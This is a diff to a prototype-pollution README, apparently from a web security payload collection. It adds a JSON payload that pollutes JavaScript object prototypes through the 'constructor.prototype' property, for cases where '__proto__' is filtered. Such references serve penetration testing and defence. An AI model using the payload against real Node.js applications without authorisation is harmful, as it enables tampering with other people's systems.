adding the payload for Polluting the prototype via the constructor property in JSON input

Somtimes `__proto__` property may not work, so adding the payload for Polluting the prototype via the `constructor` property in JSON input

Prototype Pollution/README.md

@@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
 }
 ```
 
+Polluting the prototype via the `constructor` property instead.
+
+```js
+{
+    "constructor": {
+        "prototype": {
+            "foo": "bar",
+            "json spaces": 10
+        }
+    }
+}
+```
+
 
 ### Prototype Pollution in URL